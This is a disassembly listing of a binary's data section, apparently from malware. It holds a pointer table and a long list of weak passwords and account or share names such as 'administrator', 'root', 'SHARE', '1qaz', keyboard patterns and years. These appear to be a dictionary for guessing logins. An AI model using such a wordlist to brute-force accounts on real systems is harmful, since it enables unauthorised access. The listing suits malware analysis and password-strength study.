		dd offset aOooo		; "oooo"
		dd offset aOoooo	; "ooooo"
		dd offset aOooooo	; "oooooo"
		dd offset aP		; "p"
		dd offset aPp		; "pp"
		dd offset aPpp		; "ppp"
		dd offset aPppp		; "pppp"
		dd offset aPpppp	; "ppppp"
		dd offset aPppppp	; "pppppp"
		dd offset aU		; "u"
		dd offset aUu		; "uu"
		dd offset aUuu		; "uuu"
		dd offset aUuuu		; "uuuu"
		dd offset aUuuuu	; "uuuuu"
		dd offset aUuuuuu	; "uuuuuu"
		dd offset aS_3		; "s"
		dd offset aSs		; "ss"
		dd offset aSss		; "sss"
		dd offset aSsss		; "ssss"
		dd offset aSssss	; "sssss"
		dd offset aSsssss	; "ssssss"
		dd offset aT		; "t"
		dd offset aTt		; "tt"
		dd offset aTtt		; "ttt"
		dd offset aTttt		; "tttt"
		dd offset aTtttt	; "ttttt"
		dd offset aTttttt	; "tttttt"
		dd offset aY		; "y"
		dd offset aYy		; "yy"
		dd offset aYyy		; "yyy"
		dd offset aYyyy		; "yyyy"
		dd offset aYyyyy	; "yyyyy"
		dd offset aYyyyyy	; "yyyyyy"
		dd offset aV		; "v"
		dd offset aVv		; "vv"
		dd offset aVvv		; "vvv"
		dd offset aVvvv		; "vvvv"
		dd offset aVvvvv	; "vvvvv"
		dd offset aVvvvvv	; "vvvvvv"
		dd offset aW		; "w"
		dd offset aWw		; "ww"
		dd offset aWww		; "www"
		dd offset aWwww		; "wwww"
		dd offset aWwwww	; "wwwww"
		dd offset aWwwwww	; "wwwwww"
		dd offset aQ		; "q"
		dd offset aQq		; "qq"
		dd offset aQqq		; "qqq"
		dd offset aQqqq		; "qqqq"
		dd offset aQqqqq	; "qqqqq"
		dd offset aQqqqqq	; "qqqqqq"
		dd offset aZ		; "z"
		dd offset aZz		; "zz"
		dd offset aZzz		; "zzz"
		dd offset aZzzz		; "zzzz"
		dd offset aZzzzz	; "zzzzz"
		dd offset aZzzzzz	; "zzzzzz"
		dd offset aXxyyzz	; "xxyyzz"
		dd offset aZzxx		; "zzxx"
		dd offset aAass		; "aass"
		dd offset aQqww		; "qqww"
		dd offset aZzzxxxccc	; "zzzxxxccc"
		dd offset aAaasssddd	; "aaasssddd"
		dd offset aQqqwwweee	; "qqqwwweee"
		dd offset aQqwwee	; "qqwwee"
		dd offset aAassdd	; "aassdd"
		dd offset aZzxxcc	; "zzxxcc"
		dd offset a1qaz		; "1qaz"
		dd offset a2wsx		; "2wsx"
		dd offset a2qaz		; "2qaz"
		dd offset a3edc		; "3edc"
		dd offset a3wsx		; "3wsx"
		dd offset a112233	; "112233"
		dd offset aMnb		; "mnb"
		dd offset aMnbv		; "mnbv"
		dd offset a2486		; "2486"
		dd offset a2684		; "2684"
		dd offset a13579	; "13579"
		dd offset a753159	; "753159"
		dd offset a159357	; "159357"
		dd offset a951753	; "951753"
		dd offset a753951	; "753951"
		dd offset a142536	; "142536"
		dd offset aSystem	; "system"
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aServer_1	; "SERVER"
		dd offset dword_42F3E8
		dd 0
dword_42561C	dd 10h							; seg000:00409AA8r ...
a142536		db '142536',0           ; DATA XREF: seg002:0042559Co
		align 4
a753951		db '753951',0           ; DATA XREF: seg002:00425598o
		align 10h
a951753		db '951753',0           ; DATA XREF: seg002:00425594o
		align 4
a159357		db '159357',0           ; DATA XREF: seg002:00425590o
		align 10h
a753159		db '753159',0           ; DATA XREF: seg002:0042558Co
		align 4
a13579		db '13579',0            ; DATA XREF: seg002:00425588o
		align 10h
a2684		db '2684',0             ; DATA XREF: seg002:00425584o
		align 4
a2486		db '2486',0             ; DATA XREF: seg002:00425580o
		align 10h
aMnbv		db 'mnbv',0             ; DATA XREF: seg002:0042557Co
		align 4
aMnb		db 'mnb',0              ; DATA XREF: seg002:00425578o
a112233		db '112233',0           ; DATA XREF: seg002:00425574o
		align 4
a3wsx		db '3wsx',0             ; DATA XREF: seg002:00425570o
		align 4
a3edc		db '3edc',0             ; DATA XREF: seg002:0042556Co
		align 4
a2qaz		db '2qaz',0             ; DATA XREF: seg002:00425568o
		align 4
a2wsx		db '2wsx',0             ; DATA XREF: seg002:00425564o
		align 4
a1qaz		db '1qaz',0             ; DATA XREF: seg002:00425560o
		align 4
aZzxxcc		db 'zzxxcc',0           ; DATA XREF: seg002:0042555Co
		align 4
aAassdd		db 'aassdd',0           ; DATA XREF: seg002:00425558o
		align 4
aQqwwee		db 'qqwwee',0           ; DATA XREF: seg002:00425554o
		align 4
aQqqwwweee	db 'qqqwwweee',0        ; DATA XREF: seg002:00425550o
		align 10h
aAaasssddd	db 'aaasssddd',0        ; DATA XREF: seg002:0042554Co
		align 4
aZzzxxxccc	db 'zzzxxxccc',0        ; DATA XREF: seg002:00425548o
		align 4
aQqww		db 'qqww',0             ; DATA XREF: seg002:00425544o
		align 10h
aAass		db 'aass',0             ; DATA XREF: seg002:00425540o
		align 4
aZzxx		db 'zzxx',0             ; DATA XREF: seg002:0042553Co
		align 10h
aXxyyzz		db 'xxyyzz',0           ; DATA XREF: seg002:00425538o
		align 4
aZzzzzz		db 'zzzzzz',0           ; DATA XREF: seg002:00425534o
		align 10h
aZzzzz		db 'zzzzz',0            ; DATA XREF: seg002:00425530o
		align 4
aZzzz		db 'zzzz',0             ; DATA XREF: seg002:0042552Co
		align 10h
aZzz		db 'zzz',0              ; DATA XREF: seg002:00425528o
aZz		db 'zz',0               ; DATA XREF: seg002:00425524o
		align 4
aQqqqqq		db 'qqqqqq',0           ; DATA XREF: seg002:0042551Co
		align 10h
aQqqqq		db 'qqqqq',0            ; DATA XREF: seg002:00425518o
		align 4
aQqqq		db 'qqqq',0             ; DATA XREF: seg002:00425514o
		align 10h
aQqq		db 'qqq',0              ; DATA XREF: seg002:00425510o
aQq		db 'qq',0               ; DATA XREF: seg002:0042550Co
		align 4
aQ:					; DATA XREF: seg002:00425508o
		unicode	0, <q>,0
aWwwwww		db 'wwwwww',0           ; DATA XREF: seg002:00425504o
		align 4
aWwwww		db 'wwwww',0            ; DATA XREF: seg002:00425500o
		align 4
aWwww		db 'wwww',0             ; DATA XREF: seg002:004254FCo
		align 4
aWww		db 'www',0              ; DATA XREF: seg002:004254F8o
aWw		db 'ww',0               ; DATA XREF: seg002:004254F4o
		align 4
aW:					; DATA XREF: seg002:004254F0o
		unicode	0, <w>,0
aVvvvvv		db 'vvvvvv',0           ; DATA XREF: seg002:004254ECo
		align 4
aVvvvv		db 'vvvvv',0            ; DATA XREF: seg002:004254E8o
		align 10h
aVvvv		db 'vvvv',0             ; DATA XREF: seg002:004254E4o
		align 4
aVvv		db 'vvv',0              ; DATA XREF: seg000:0040B18Fo
					; seg002:004254E0o
aVv		db 'vv',0               ; DATA XREF: seg002:004254DCo
		align 10h
aV:					; DATA XREF: seg002:004254D8o
		unicode	0, <v>,0
aYyyyyy		db 'yyyyyy',0           ; DATA XREF: seg002:004254D4o
		align 4
aYyyyy		db 'yyyyy',0            ; DATA XREF: seg002:004254D0o
		align 4
aYyyy		db 'yyyy',0             ; DATA XREF: seg002:004254CCo
		align 4
aYyy		db 'yyy',0              ; DATA XREF: seg002:004254C8o
aYy		db 'yy',0               ; DATA XREF: seg002:004254C4o
		align 4
aY:					; DATA XREF: seg002:004254C0o
		unicode	0, <y>,0
aTttttt		db 'tttttt',0           ; DATA XREF: seg002:004254BCo
		align 10h
aTtttt		db 'ttttt',0            ; DATA XREF: seg002:004254B8o
		align 4
aTttt		db 'tttt',0             ; DATA XREF: seg002:004254B4o
		align 10h
aTtt		db 'ttt',0              ; DATA XREF: seg002:004254B0o
aTt		db 'tt',0               ; DATA XREF: seg002:004254ACo
		align 4
aT:					; DATA XREF: seg002:004254A8o
		unicode	0, <t>,0
aSsssss		db 'ssssss',0           ; DATA XREF: seg002:004254A4o
		align 4
aSssss		db 'sssss',0            ; DATA XREF: seg002:004254A0o
		align 4
aSsss		db 'ssss',0             ; DATA XREF: seg002:0042549Co
		align 4
aSss		db 'sss',0              ; DATA XREF: seg002:00425498o
aSs		db 'ss',0               ; DATA XREF: seg002:00425494o
		align 4
aS_3:					; DATA XREF: seg002:00425490o
		unicode	0, <s>,0
aUuuuuu		db 'uuuuuu',0           ; DATA XREF: seg002:0042548Co
		align 4
aUuuuu		db 'uuuuu',0            ; DATA XREF: seg002:00425488o
		align 10h
aUuuu		db 'uuuu',0             ; DATA XREF: seg002:00425484o
		align 4
aUuu		db 'uuu',0              ; DATA XREF: seg002:00425480o
aUu		db 'uu',0               ; DATA XREF: seg002:0042547Co
		align 10h
aU:					; DATA XREF: seg002:00425478o
		unicode	0, <u>,0
aPppppp		db 'pppppp',0           ; DATA XREF: seg002:00425474o
		align 4
aPpppp		db 'ppppp',0            ; DATA XREF: seg002:00425470o
		align 4
aPppp		db 'pppp',0             ; DATA XREF: seg002:0042546Co
		align 4
aPpp		db 'ppp',0              ; DATA XREF: seg002:00425468o
aPp		db 'pp',0               ; DATA XREF: seg002:00425464o
		align 4
aP:					; DATA XREF: seg002:00425460o
		unicode	0, <p>,0
aOooooo		db 'oooooo',0           ; DATA XREF: seg002:0042545Co
		align 10h
aOoooo		db 'ooooo',0            ; DATA XREF: seg002:00425458o
		align 4
aOooo		db 'oooo',0             ; DATA XREF: seg002:00425454o
		align 10h
aOoo		db 'ooo',0              ; DATA XREF: seg002:00425450o
aOo		db 'oo',0               ; DATA XREF: seg002:0042544Co
		align 4
aO:					; DATA XREF: seg002:00425448o
		unicode	0, <o>,0
aNnnnnn		db 'nnnnnn',0           ; DATA XREF: seg002:00425444o
		align 4
aNnnnn		db 'nnnnn',0            ; DATA XREF: seg002:00425440o
		align 4
aNnnn		db 'nnnn',0             ; DATA XREF: seg002:0042543Co
		align 4
aNnn		db 'nnn',0              ; DATA XREF: seg002:00425438o
aNn		db 'nn',0               ; DATA XREF: seg002:00425434o
		align 4
aN:					; DATA XREF: seg002:00425430o
		unicode	0, <n>,0
aMmmmmm		db 'mmmmmm',0           ; DATA XREF: seg002:0042542Co
		align 4
aMmmmm		db 'mmmmm',0            ; DATA XREF: seg002:00425428o
		align 10h
aMmmm		db 'mmmm',0             ; DATA XREF: seg002:00425424o
		align 4
aMmm		db 'mmm',0              ; DATA XREF: seg002:00425420o
aMm		db 'mm',0               ; DATA XREF: seg002:0042541Co
		align 10h
aM:					; DATA XREF: seg002:00425418o
		unicode	0, <m>,0
aLlllll		db 'llllll',0           ; DATA XREF: seg002:00425414o
		align 4
aLllll		db 'lllll',0            ; DATA XREF: seg002:00425410o
		align 4
aLlll		db 'llll',0             ; DATA XREF: seg002:0042540Co
		align 4
aLll		db 'lll',0              ; DATA XREF: seg002:00425408o
aLl		db 'll',0               ; DATA XREF: seg002:00425404o
		align 4
asc_4258C4:				; DATA XREF: seg002:00425400o
		unicode	0, <l>,0
aKkkkkk		db 'kkkkkk',0           ; DATA XREF: seg002:004253FCo
		align 10h
aKkkkk		db 'kkkkk',0            ; DATA XREF: seg002:004253F8o
		align 4
aKkkk		db 'kkkk',0             ; DATA XREF: seg002:004253F4o
		align 10h
aKkk		db 'kkk',0              ; DATA XREF: seg002:004253F0o
aKk		db 'kk',0               ; DATA XREF: seg002:004253ECo
		align 4
aK:					; DATA XREF: seg002:004253E8o
		unicode	0, <k>,0
aJjjjjj		db 'jjjjjj',0           ; DATA XREF: seg002:004253E4o
		align 4
aJjjjj		db 'jjjjj',0            ; DATA XREF: seg002:004253E0o
		align 4
aJjjj		db 'jjjj',0             ; DATA XREF: seg002:004253DCo
		align 4
aJjj		db 'jjj',0              ; DATA XREF: seg002:004253D8o
aJj		db 'jj',0               ; DATA XREF: seg002:004253D4o
		align 4
aJ:					; DATA XREF: seg002:004253D0o
		unicode	0, <j>,0
aIiiiii		db 'iiiiii',0           ; DATA XREF: seg002:004253CCo
		align 4
aIiiii		db 'iiiii',0            ; DATA XREF: seg002:004253C8o
		align 10h
aIiii		db 'iiii',0             ; DATA XREF: seg002:004253C4o
		align 4
aIii		db 'iii',0              ; DATA XREF: seg002:004253C0o
aIi		db 'ii',0               ; DATA XREF: seg002:004253BCo
		align 10h
aI_0:					; DATA XREF: seg002:004253B8o
		unicode	0, <i>,0
aHhhhhh		db 'hhhhhh',0           ; DATA XREF: seg002:004253B4o
		align 4
aHhhhh		db 'hhhhh',0            ; DATA XREF: seg002:004253B0o
		align 4
aHhhh		db 'hhhh',0             ; DATA XREF: seg002:004253ACo
		align 4
aHhh		db 'hhh',0              ; DATA XREF: seg002:004253A8o
aHh		db 'hh',0               ; DATA XREF: seg002:004253A4o
		align 4
asc_425954:				; DATA XREF: seg002:004253A0o
		unicode	0, <h>,0
aGggggg		db 'gggggg',0           ; DATA XREF: seg002:0042539Co
		align 10h
aGgggg		db 'ggggg',0            ; DATA XREF: seg002:00425398o
		align 4
aGggg		db 'gggg',0             ; DATA XREF: seg002:00425394o
		align 10h
aGgg		db 'ggg',0              ; DATA XREF: seg002:00425390o
aGg		db 'gg',0               ; DATA XREF: seg002:0042538Co
		align 4
aG:					; DATA XREF: seg002:00425388o
		unicode	0, <g>,0
aEeeeee		db 'eeeeee',0           ; DATA XREF: seg002:00425384o
		align 4
aEeeee		db 'eeeee',0            ; DATA XREF: seg002:00425380o
		align 4
aEeee		db 'eeee',0             ; DATA XREF: seg002:0042537Co
		align 4
aEee		db 'eee',0              ; DATA XREF: seg002:00425378o
aEe		db 'ee',0               ; DATA XREF: seg002:00425374o
		align 4
aE:					; DATA XREF: seg002:00425370o
		unicode	0, <e>,0
aFffff		db 'fffff',0            ; DATA XREF: seg002:0042536Co
		align 4
aFfff		db 'ffff',0             ; DATA XREF: seg002:00425368o
		align 10h
aFff		db 'fff',0              ; DATA XREF: seg002:00425364o
aFf		db 'ff',0               ; DATA XREF: seg002:00425360o
		align 4
aF:					; DATA XREF: seg002:0042535Co
		unicode	0, <f>,0
aDdddd		db 'ddddd',0            ; DATA XREF: seg002:00425358o
		align 4
aDddd		db 'dddd',0             ; DATA XREF: seg002:00425354o
		align 4
aDdd		db 'ddd',0              ; DATA XREF: seg002:00425350o
aDd_0		db 'dd',0               ; DATA XREF: seg002:0042534Co
		align 4
aD:					; DATA XREF: seg002:00425348o
		unicode	0, <d>,0
aCcccccccc	db 'ccccccccc',0        ; DATA XREF: seg002:00425344o
		align 4
aCccccccc	db 'cccccccc',0         ; DATA XREF: seg002:00425340o
		align 10h
aCcccccc	db 'ccccccc',0          ; DATA XREF: seg002:0042533Co
aCccccc		db 'cccccc',0           ; DATA XREF: seg002:00425338o
		align 10h
aCcccc		db 'ccccc',0            ; DATA XREF: seg002:00425334o
		align 4
aCccc_0		db 'cccc',0             ; DATA XREF: seg002:00425330o
		align 10h
aCcc		db 'ccc',0              ; DATA XREF: seg002:0042532Co
aCc		db 'cc',0               ; DATA XREF: seg002:00425328o
		align 4
aC:					; DATA XREF: seg002:00425324o
		unicode	0, <c>,0
aBbbbbbbbb	db 'bbbbbbbbb',0        ; DATA XREF: seg002:00425320o
		align 4
aBbbbbbbb	db 'bbbbbbbb',0         ; DATA XREF: seg002:0042531Co
		align 4
aBbbbbbb	db 'bbbbbbb',0          ; DATA XREF: seg002:00425318o
aBbbbbb		db 'bbbbbb',0           ; DATA XREF: seg002:00425314o
		align 4
aBbbbb		db 'bbbbb',0            ; DATA XREF: seg002:00425310o
		align 4
aBbbb		db 'bbbb',0             ; DATA XREF: seg002:0042530Co
		align 4
aBbb		db 'bbb',0              ; DATA XREF: seg002:00425308o
aBb		db 'bb',0               ; DATA XREF: seg002:00425304o
		align 4
aB:					; DATA XREF: seg002:00425300o
		unicode	0, <b>,0
aRfv		db 'rfv',0              ; DATA XREF: seg002:004252FCo
aEdc		db 'edc',0              ; DATA XREF: seg002:004252F8o
aWsx		db 'wsx',0              ; DATA XREF: seg002:004252F4o
aQaz		db 'qaz',0              ; DATA XREF: seg002:004252F0o
aAsdfghjkl	db 'asdfghjkl',0        ; DATA XREF: seg002:004252ECo
		align 4
aAsdfghjk	db 'asdfghjk',0         ; DATA XREF: seg002:004252E8o
		align 4
aAsdfghj	db 'asdfghj',0          ; DATA XREF: seg002:004252E4o
aAsdfgh		db 'asdfgh',0           ; DATA XREF: seg002:004252E0o
		align 4
aAsdfg		db 'asdfg',0            ; DATA XREF: seg002:004252DCo
		align 10h
aAs		db 'as',0               ; DATA XREF: seg002:004252D0o
		align 4
aZxcvbnm	db 'zxcvbnm',0          ; DATA XREF: seg002:004252CCo
aZxcvbn		db 'zxcvbn',0           ; DATA XREF: seg002:004252C8o
		align 4
aZxcvb		db 'zxcvb',0            ; DATA XREF: seg002:004252C4o
		align 4
aZxc		db 'zxc',0              ; DATA XREF: seg002:004252BCo
aZx		db 'zx',0               ; DATA XREF: seg002:004252B8o
		align 4
aZ:					; DATA XREF: seg002:004252B4o
					; seg002:00425520o
		unicode	0, <z>,0
aKonyang	db 'konyang',0          ; DATA XREF: seg002:004252B0o
aToyota_0	db 'TOYOTA',0           ; DATA XREF: seg002:00425278o
		align 4
aKor		db 'KOR',0              ; DATA XREF: seg002:00425274o
aKor_0		db 'kor',0              ; DATA XREF: seg002:0042526Co
aChi		db 'chi',0              ; DATA XREF: seg002:00425268o
aChi_0		db 'CHI',0              ; DATA XREF: seg002:00425264o
aSystem		db 'system',0           ; DATA XREF: seg002:0042525Co
					; seg002:004255A0o
		align 10h
aServices	db 'services',0         ; DATA XREF: seg002:00425258o
		align 4
aServers	db 'servers',0          ; DATA XREF: seg002:00425254o
aServer_0	db 'server',0           ; DATA XREF: seg002:0042524Co
		align 4
aQwertyuiop	db 'qwertyuiop',0       ; DATA XREF: seg002:00425244o
		align 4
aQwertyuio	db 'qwertyuio',0        ; DATA XREF: seg002:00425240o
		align 4
aQwertyui	db 'qwertyui',0         ; DATA XREF: seg002:0042523Co
		align 10h
aQwertyu	db 'qwertyu',0          ; DATA XREF: seg002:00425238o
aQwe		db 'qwe',0              ; DATA XREF: seg002:00425228o
aQw		db 'qw',0               ; DATA XREF: seg002:00425224o
		align 10h
aPassword1	db 'password1',0        ; DATA XREF: seg002:00425220o
		align 4
aPassword_0	db 'Password',0         ; DATA XREF: seg002:0042521Co
		align 4
aAaaaaaaaa	db 'aaaaaaaaa',0        ; DATA XREF: seg002:00425218o
		align 4
aAaaaaaaa	db 'aaaaaaaa',0         ; DATA XREF: seg002:00425214o
		align 10h
aAaaaaaa	db 'aaaaaaa',0          ; DATA XREF: seg002:00425210o
aAaaaaa		db 'aaaaaa',0           ; DATA XREF: seg002:0042520Co
		align 10h
aAaaaa		db 'aaaaa',0            ; DATA XREF: seg002:00425208o
		align 4
aAaaa		db 'aaaa',0             ; DATA XREF: seg002:00425204o
		align 10h
aAa		db 'aa',0               ; DATA XREF: seg002:004251FCo
		align 4
aNokia		db 'NOKIA',0            ; DATA XREF: seg002:004251F0o
		align 4
aSex		db 'SEX',0              ; DATA XREF: seg002:004251ECo
aCreative	db 'CREATIVE',0         ; DATA XREF: seg002:004251E8o
		align 4
aDisc_0		db 'DISC',0             ; DATA XREF: seg002:004251E4o
		align 4
aMicrosoft	db 'MICROSOFT',0        ; DATA XREF: seg002:004251E0o
		align 10h
aMaster_0	db 'MASTER',0           ; DATA XREF: seg002:004251DCo
		align 4
aSony_0		db 'SONY',0             ; DATA XREF: seg002:004251D8o
		align 10h
aSamsung	db 'samsung',0          ; DATA XREF: seg002:004251D4o
aSamsung_0	db 'SAMSUNG',0          ; DATA XREF: seg002:004251D0o
aSony		db 'sony',0             ; DATA XREF: seg002:004251CCo
		align 4
a7654321	db '7654321',0          ; DATA XREF: seg002:004251C8o
a4321		db '4321',0             ; DATA XREF: seg002:004251BCo
		align 4
a321		db '321',0              ; DATA XREF: seg002:004251B8o
a2006		db '2006',0             ; DATA XREF: seg002:004251B0o
		align 4
a2005		db '2005',0             ; DATA XREF: seg002:004251ACo
		align 4
a2004		db '2004',0             ; DATA XREF: seg002:004251A8o
		align 4
a2001		db '2001',0             ; DATA XREF: seg002:0042519Co
		align 4
a2000		db '2000',0             ; DATA XREF: seg002:00425198o
		align 4
a1999		db '1999',0             ; DATA XREF: seg002:00425194o
		align 4
a1998		db '1998',0             ; DATA XREF: seg002:00425190o
		align 4
a1997		db '1997',0             ; DATA XREF: seg002:0042518Co
		align 4
a1996		db '1996',0             ; DATA XREF: seg002:00425188o
		align 4
a1995		db '1995',0             ; DATA XREF: seg002:00425184o
		align 4
a1994		db '1994',0             ; DATA XREF: seg002:00425180o
		align 4
a1993		db '1993',0             ; DATA XREF: seg002:0042517Co
		align 4
a1992		db '1992',0             ; DATA XREF: seg002:00425178o
		align 4
a1991		db '1991',0             ; DATA XREF: seg002:00425174o
		align 4
a1990		db '1990',0             ; DATA XREF: seg002:00425170o
		align 4
a1989		db '1989',0             ; DATA XREF: seg002:0042516Co
		align 4
a1988		db '1988',0             ; DATA XREF: seg002:00425168o
		align 4
a1987		db '1987',0             ; DATA XREF: seg002:00425164o
		align 4
a1986		db '1986',0             ; DATA XREF: seg002:00425160o
		align 4
a1985		db '1985',0             ; DATA XREF: seg002:0042515Co
		align 4
a1984		db '1984',0             ; DATA XREF: seg002:00425158o
		align 4
a1983		db '1983',0             ; DATA XREF: seg002:00425154o
		align 4
a1982		db '1982',0             ; DATA XREF: seg002:00425150o
		align 4
a1981		db '1981',0             ; DATA XREF: seg002:0042514Co
		align 4
a1980		db '1980',0             ; DATA XREF: seg002:00425148o
		align 4
a1979		db '1979',0             ; DATA XREF: seg002:00425144o
		align 4
a1978		db '1978',0             ; DATA XREF: seg002:00425140o
		align 4
a1977		db '1977',0             ; DATA XREF: seg002:0042513Co
		align 4
a1976		db '1976',0             ; DATA XREF: seg002:00425138o
		align 4
a1975		db '1975',0             ; DATA XREF: seg002:00425134o
		align 4
a1974		db '1974',0             ; DATA XREF: seg002:00425130o
		align 4
a1973		db '1973',0             ; DATA XREF: seg002:0042512Co
		align 4
a1972		db '1972',0             ; DATA XREF: seg002:00425128o
		align 4
a1971		db '1971',0             ; DATA XREF: seg002:00425124o
		align 4
a1970		db '1970',0             ; DATA XREF: seg002:00425120o
		align 4
a1969		db '1969',0             ; DATA XREF: seg002:0042511Co
		align 4
a1968		db '1968',0             ; DATA XREF: seg002:00425118o
		align 4
a1967		db '1967',0             ; DATA XREF: seg002:00425114o
		align 4
a1966		db '1966',0             ; DATA XREF: seg002:00425110o
		align 4
a1965		db '1965',0             ; DATA XREF: seg002:0042510Co
		align 4
a1964		db '1964',0             ; DATA XREF: seg002:00425108o
		align 4
a1963		db '1963',0             ; DATA XREF: seg002:00425104o
		align 4
a1962		db '1962',0             ; DATA XREF: seg002:00425100o
		align 4
a1961		db '1961',0             ; DATA XREF: seg002:004250FCo
		align 4
a1960		db '1960',0             ; DATA XREF: seg002:004250F8o
		align 4
a1959		db '1959',0             ; DATA XREF: seg002:004250F4o
		align 4
a1958		db '1958',0             ; DATA XREF: seg002:004250F0o
		align 4
a1957		db '1957',0             ; DATA XREF: seg002:004250ECo
		align 4
a1956		db '1956',0             ; DATA XREF: seg002:004250E8o
		align 4
a1955		db '1955',0             ; DATA XREF: seg002:004250E4o
		align 4
a1954		db '1954',0             ; DATA XREF: seg002:004250E0o
		align 4
a1953		db '1953',0             ; DATA XREF: seg002:004250DCo
		align 4
a1952		db '1952',0             ; DATA XREF: seg002:004250D8o
		align 4
a1234qwe	db '1234qwe',0          ; DATA XREF: seg002:004250D4o
a1234asd	db '1234asd',0          ; DATA XREF: seg002:004250D0o
a1234abc	db '1234abc',0          ; DATA XREF: seg002:004250CCo
a123qwer	db '123qwer',0          ; DATA XREF: seg002:004250B8o
a12qwe		db '12qwe',0            ; DATA XREF: seg002:004250B4o
		align 4
a12asd		db '12asd',0            ; DATA XREF: seg002:004250B0o
		align 4
a12abc		db '12abc',0            ; DATA XREF: seg002:004250ACo
		align 4
a12qwer		db '12qwer',0           ; DATA XREF: seg002:004250A8o
		align 4
a1qwe		db '1qwe',0             ; DATA XREF: seg002:004250A4o
		align 4
a1asd		db '1asd',0             ; DATA XREF: seg002:004250A0o
		align 4
a1abc		db '1abc',0             ; DATA XREF: seg002:0042509Co
		align 4
a1qwer		db '1qwer',0            ; DATA XREF: seg002:00425098o
		align 4
a123467890	db '123467890',0        ; DATA XREF: seg002:00425094o
		align 10h
a12346789	db '12346789',0         ; DATA XREF: seg002:00425090o
		align 4
a1234678	db '1234678',0          ; DATA XREF: seg002:0042508Co
a123467		db '123467',0           ; DATA XREF: seg002:00425088o
		align 4
a12346		db '12346',0            ; DATA XREF: seg002:00425084o
		align 4
a121		db '121',0              ; DATA XREF: seg002:0042505Co
a1020		db '1020',0             ; DATA XREF: seg002:00425054o
		align 10h
a0258		db '0258',0             ; DATA XREF: seg002:00425050o
		align 4
a8520		db '8520',0             ; DATA XREF: seg002:0042504Co
		align 10h
a987		db '987',0              ; DATA XREF: seg002:00425048o
a789		db '789',0              ; DATA XREF: seg002:00425044o
a654		db '654',0              ; DATA XREF: seg002:00425040o
a456		db '456',0              ; DATA XREF: seg002:0042503Co
a1122		db '1122',0             ; DATA XREF: seg002:00425038o
		align 4
a0147		db '0147',0             ; DATA XREF: seg002:00425034o
		align 10h
a7410		db '7410',0             ; DATA XREF: seg002:00425030o
		align 4
a9999999999	db '9999999999',0       ; DATA XREF: seg002:00425028o
		align 4
a999999999	db '999999999',0        ; DATA XREF: seg002:00425024o
		align 10h
a99999999	db '99999999',0         ; DATA XREF: seg002:00425020o
		align 4
a9999999	db '9999999',0          ; DATA XREF: seg002:0042501Co
a999999		db '999999',0           ; DATA XREF: seg002:00425018o
		align 4
a99999		db '99999',0            ; DATA XREF: seg002:00425014o
		align 4
a9999		db '9999',0             ; DATA XREF: seg002:00425010o
		align 4
a999		db '999',0              ; DATA XREF: seg002:0042500Co
a99		db '99',0               ; DATA XREF: seg002:00425008o
		align 4
a9:					; DATA XREF: seg002:00425004o
		unicode	0, <9>,0
a8888888888	db '8888888888',0       ; DATA XREF: seg002:00425000o
		align 4
a888888888	db '888888888',0        ; DATA XREF: seg002:00424FFCo
		align 10h
a8888888	db '8888888',0          ; DATA XREF: seg002:00424FF4o
a888888		db '888888',0           ; DATA XREF: seg002:00424FF0o
		align 10h
a88888		db '88888',0            ; DATA XREF: seg002:00424FECo
		align 4
a8888		db '8888',0             ; DATA XREF: seg002:00424FE8o
		align 10h
a888		db '888',0              ; DATA XREF: seg002:00424FE4o
a88		db '88',0               ; DATA XREF: seg002:00424FE0o
		align 4
a8:					; DATA XREF: seg002:00424FDCo
		unicode	0, <8>,0
a7777777777	db '7777777777',0       ; DATA XREF: seg002:00424FD8o
		align 4
a777777777	db '777777777',0        ; DATA XREF: seg002:00424FD4o
		align 4
a77777777	db '77777777',0         ; DATA XREF: seg002:00424FD0o
		align 10h
a7777777	db '7777777',0          ; DATA XREF: seg002:00424FCCo
a777777		db '777777',0           ; DATA XREF: seg002:00424FC8o
		align 10h
a77777		db '77777',0            ; DATA XREF: seg002:00424FC4o
		align 4
a7777		db '7777',0             ; DATA XREF: seg002:00424FC0o
		align 10h
a777		db '777',0              ; DATA XREF: seg002:00424FBCo
a77		db '77',0               ; DATA XREF: seg002:00424FB8o
		align 4
a7:					; DATA XREF: seg002:00424FB4o
		unicode	0, <7>,0
a6666666666	db '6666666666',0       ; DATA XREF: seg002:00424FB0o
		align 4
a666666666	db '666666666',0        ; DATA XREF: seg002:00424FACo
		align 4
a66666666	db '66666666',0         ; DATA XREF: seg002:00424FA8o
		align 10h
a6666666	db '6666666',0          ; DATA XREF: seg002:00424FA4o
a666666		db '666666',0           ; DATA XREF: seg002:00424FA0o
		align 10h
a66666		db '66666',0            ; DATA XREF: seg002:00424F9Co
		align 4
a6666		db '6666',0             ; DATA XREF: seg002:00424F98o
		align 10h
a666		db '666',0              ; DATA XREF: seg002:00424F94o
a66		db '66',0               ; DATA XREF: seg002:00424F90o
		align 4
a6:					; DATA XREF: seg002:00424F8Co
		unicode	0, <6>,0
a5555555555	db '5555555555',0       ; DATA XREF: seg002:00424F88o
		align 4
a555555555	db '555555555',0        ; DATA XREF: seg002:00424F84o
		align 4
a55555555	db '55555555',0         ; DATA XREF: seg002:00424F80o
		align 10h
a5555555	db '5555555',0          ; DATA XREF: seg002:00424F7Co
a555555		db '555555',0           ; DATA XREF: seg002:00424F78o
		align 10h
a55555		db '55555',0            ; DATA XREF: seg002:00424F74o
		align 4
a5555		db '5555',0             ; DATA XREF: seg002:00424F70o
		align 10h
a555		db '555',0              ; DATA XREF: seg002:00424F6Co
a55		db '55',0               ; DATA XREF: seg002:00424F68o
		align 4
a5:					; DATA XREF: seg002:00424F64o
		unicode	0, <5>,0
a4444444444	db '4444444444',0       ; DATA XREF: seg002:00424F60o
		align 4
